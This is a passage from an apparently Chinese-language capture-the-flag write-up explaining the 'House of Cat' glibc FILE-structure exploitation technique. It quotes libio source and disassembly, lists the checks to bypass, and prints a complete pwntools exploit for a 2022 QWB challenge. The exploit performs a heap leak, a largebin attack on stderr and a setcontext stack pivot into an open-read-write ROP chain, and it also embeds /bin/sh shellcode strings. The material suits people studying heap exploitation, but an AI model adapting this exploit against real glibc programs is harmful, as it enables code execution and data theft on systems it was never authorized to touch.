            (gs, &codecvt->__cd_in.step_data, &from_start_copy,
             (const unsigned char *) from_end, NULL,
             &dummy, 0, 0));
    ......
// 利用点
// fct(gs) -> *(gs->__fct)(gs) -> *(codecvt->__cd_in.step->__fct)(codecvt->__cd_in.step) ->
// *(fp->_codecvt->__cd_in.step->__fct)(fp->_codecvt->__cd_in.step)
}

House_Of_Cat

利用原理

利用是_IO_wfile_jumps跳表中的_IO_wfile_seekoff函数,相关源码如下:

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
}

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;

  /* Short-circuit into a separate function.  We don't want to mix any
     functionality and we don't want to touch anything inside the FILE
     object. */
  if (mode == 0)	// 绕过检查
    return do_ftell_wide (fp);

  /* POSIX.1 8.2.3.7 says that after a call the fflush() the file
     offset of the underlying file must be exact.  */
  int must_be_exact = ((fp->_wide_data->_IO_read_base
            == fp->_wide_data->_IO_read_end)
               && (fp->_wide_data->_IO_write_base
               == fp->_wide_data->_IO_write_ptr));

  bool was_writing = ((fp->_wide_data->_IO_write_ptr
               > fp->_wide_data->_IO_write_base)
              || _IO_in_put_mode (fp));		// 计算was_writing使得为真
// #define _IO_in_put_mode(_fp) ((_fp)->_flags & _IO_CURRENTLY_PUTTING)
// #define _IO_CURRENTLY_PUTTING 0x0800

  /* Flush unwritten characters.
     (This may do an unneeded write if we seek within the buffer.
     But to be able to switch to reading, we would need to set
     egptr to pptr.  That can't be done in the current design,
     which assumes file_ptr() is eGptr.  Anyway, since we probably
     end up flushing when we close(), it doesn't make much difference.)
     FIXME: simulate mem-mapped files. */
  if (was_writing && _IO_switch_to_wget_mode (fp))	// 绕过检查进入_IO_switch_to_wget_mode函数
    return WEOF;
    ......
}

int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)	// 绕过检查进入子块
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)	// 调用_IO_WOVERFLOW函数
// #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
      return EOF;
    ......
}

这里的_IO_WOVERFLOW函数作为宏定义,看一下汇编代码就可以理解,rdi就是我们传入的FILE的首地址,可以看到,rax成了我们的核心控制点,而rax的值也就是fp->_wide_data的值,rdx的值就是fp->_wide_data->_IO_write_ptr的值,注意在call汇编之前还会对rax进行一次赋值,那这里就随便控制了。

0x7fc411e82d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
0x7fc411e82d3b <_IO_switch_to_wget_mode+11>    push   rbx
0x7fc411e82d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi
0x7fc411e82d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
0x7fc411e82d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]
0x7fc411e82d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56              		 <_IO_switch_to_wget_mode+56>

0x7fc411e82d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
0x7fc411e82d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff
0x7fc411e82d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

绕过的检查有:

fp->_wide_data->_IO_read_base != fp->_wide_data->_IO_read_end
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 或者 fp->_flags & 0x0800 != 0
fp->_mode = 0

house_of_cat(强网2022)

这道题已经给出了house_of_apple2的解法,这里给出house_of_cat的解法也是预期解,同时整理一下模板:

# _flags = prev_size = 0
# _IO_read_ptr
fake_file1 = b'\x00' * (0x28)
fake_file1 += p64(1)    # _wide_data -> _IO_read_end
fake_file1 += p64(0)    # _wide_data -> _IO_read_base
fake_file1 += p64(0)    # _wide_data -> _IO_write_base
fake_file1 += p64(heap_base + 0x290 + 0xe0 + 0x30 + 0x20)   # _IO_write_ptr also new_rdx
fake_file1 = fake_file1.ljust(0x78, b'\x00')
fake_file1 += p64(heap_base)     # _lock
fake_file1 = fake_file1.ljust(0x90, b'\x00')
fake_file1 += p64(heap_base + 0x290 + 0x30)    # _wide_data
fake_file1 = fake_file1.ljust(0xb0, b'\x00')
fake_file1 += p64(0)    # _mode = 0
fake_file1 = fake_file1.ljust(0xc8, b'\x00')
fake_file1 += p64(IO_wfile_jumps + 0x10)      # vtable
fake_file1 = fake_file1.ljust(0xe0 + 0x20, b'\x00')
fake_file1 += p64(heap_base + 0x290 + 0xe0 + 0x30)  # new_rax
fake_file1 += p64(0) * 2
fake_file1 += p64(setcontext_61)
fake_file1 += b'\x00' * 0xa0
fake_file1 += p64(heap_base + 0x1c90)    # rsp -> orw_addr
fake_file1 += p64(p_rdi_r + 1)      # rip -> ret

WP如下:

#encoding = utf-8
from pwn import *
from LibcSearcher import * 

# context(log_level = 'debug', os = 'linux', arch = 'amd64')
context(os = 'linux', arch = 'amd64')

local = 2
if local == 1 :
    sh = process([b"./ld.so", b"./pwn"], env = {"LD_PRELOAD" : b"./libc.so.6"})
elif local == 2 :
    sh = process("./house_of_cat")
else :
    sh = remote(ip, port)

elf = ELF('./house_of_cat')
libc = ELF('./libc.so.6')

def dbg():
    gdb.attach(sh)
    pause()

s       = lambda data               :sh.send(data)
sa      = lambda text, data         :sh.sendafter(text, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda text, data         :sh.sendlineafter(text, data)
r       = lambda num                :sh.recv(num)
ru      = lambda text               :sh.recvuntil(text)
uu32    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg      = lambda s                  :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
lgl     = lambda s, value           :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, value))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes

#------------------------------------------------------------------------------------------------------#

def admin():
    pld = 'LOGIN | r00t QWB QWXFadmin'
    sa('mew mew mew~~~~~~\n', pld)

def cmd(choice):
    pld = 'CAT | r00t QWB QWXF$\xff\xff\xff\xff'
    sa('mew mew mew~~~~~~\n', pld)
    sla('plz input your cat choice:\n', str(choice))

def add(idx, size, content):
    cmd(1)
    sla('plz input your cat idx:\n', str(idx))
    sla('plz input your cat size:\n', str(size))
    sa('plz input your content:\n', content)

def delete(idx):
    cmd(2)
    sla('plz input your cat idx:\n', str(idx))

def show(idx):
    cmd(3)
    sla('plz input your cat idx:\n', str(idx))
    ru('Context:\n')

def edit(idx, content):
    # only twice
    cmd(4)
    sla('plz input your cat idx:\n', str(idx))
    sa('plz input your content:\n', content)

admin()
add(0, 0x418, b'pursue')    # 0
add(1, 0x438, b'pursue')    # 1
add(2, 0x428, b'pursue')    # 2
add(3, 0x468, b'pursue')    # 3

delete(2)
add(4, 0x468, b'pursue')    # 4
show(2)
libc_base = u64(r(8)) - 0x21a0d0
r(8)
heap_base = u64(r(8)) - 0xaf0
lg('libc_base')
lg('heap_base')

IO_wfile_jumps = libc_base + 0x2160c0
setcontext_61 = libc_base + 0x53a30 + 61
p_rdi_r = libc_base + 0x000000000002a3e5
p_rsi_r = libc_base + 0x000000000002be51
p_rdx_r12_r = libc_base + 0x000000000011f497
p_rax_r = libc_base + 0x0000000000045eb0
syscall_r = libc_base + 0x0000000000091396
lg('setcontext_61')

# _flags = prev_size = 0
# _IO_read_ptr
fake_file1 = b'\x00' * (0x28)
fake_file1 += p64(1)    # _wide_data -> _IO_read_end
fake_file1 += p64(0)    # _wide_data -> _IO_read_base
fake_file1 += p64(0)    # _wide_data -> _IO_write_base
fake_file1 += p64(heap_base + 0x290 + 0xe0 + 0x30 + 0x20)   # _IO_write_ptr also new_rdx
fake_file1 = fake_file1.ljust(0x78, b'\x00')
fake_file1 += p64(heap_base)     # _lock
fake_file1 = fake_file1.ljust(0x90, b'\x00')
fake_file1 += p64(heap_base + 0x290 + 0x30)    # _wide_data
fake_file1 = fake_file1.ljust(0xb0, b'\x00')
fake_file1 += p64(0)    # _mode = 0
fake_file1 = fake_file1.ljust(0xc8, b'\x00')
fake_file1 += p64(IO_wfile_jumps + 0x10)      # vtable
fake_file1 = fake_file1.ljust(0xe0 + 0x20, b'\x00')
fake_file1 += p64(heap_base + 0x290 + 0xe0 + 0x30)  # new_rax
fake_file1 += p64(0) * 2
fake_file1 += p64(setcontext_61)
fake_file1 += b'\x00' * 0xa0
fake_file1 += p64(heap_base + 0x1c90)    # rsp -> orw_addr
fake_file1 += p64(p_rdi_r + 1)      # rip -> ret

delete(0)
add(5, 0x418, fake_file1)
add(6, 0x458, b'pursue')    # 6
add(7, 0x468, b'pursue')    # 7
add(8, 0x468, b'pursue')    # 8
delete(5)
delete(6)
delete(7)
delete(8)

pld = p64(libc_base + 0x21a0d0) * 2
pld += p64(heap_base + 0xaf0)
pld += p64(libc_base + libc.sym['stderr'] - 0x20)    # bk_nextsize
edit(2, pld)
add(9, 0x468, b'pursue')    # largebin_attack

orw = p64(0) * 2
orw += p64(p_rdi_r) + p64(0)
orw += p64(p_rsi_r) + p64(0)
orw += p64(p_rdx_r12_r) + p64(0) + p64(0)
orw += p64(p_rax_r) + p64(3)
orw += p64(syscall_r)       # close
orw += p64(p_rdi_r) + p64(heap_base + 0x1dd0)
orw += p64(p_rsi_r) + p64(0)
orw += p64(p_rdx_r12_r) + p64(0) + p64(0)
orw += p64(p_rax_r) + p64(2)
orw += p64(syscall_r)       # open -> fd = 0
orw += p64(p_rdi_r) + p64(0)
orw += p64(p_rdx_r12_r) + p64(0x30) + p64(0)
orw += p64(p_rsi_r) + p64(heap_base + 0x3000)
orw += p64(p_rax_r) + p64(0)
orw += p64(syscall_r)       # read
orw += p64(p_rdi_r) + p64(1)
orw += p64(p_rdx_r12_r) + p64(0x30) + p64(0)
orw += p64(p_rsi_r) + p64(heap_base + 0x3000)
orw += p64(p_rax_r) + p64(1)
orw += p64(syscall_r)       # write
orw += b'/flag\x00'

add(10, 0x468, orw)     # 10
edit(8, p64(0) + p64(0x111))    # change top_chunk.size

cmd(1)
sla('plz input your cat idx:\n', str(0xf))
dbg()
sla('plz input your cat size:\n', str(0x468))

sh.interactive()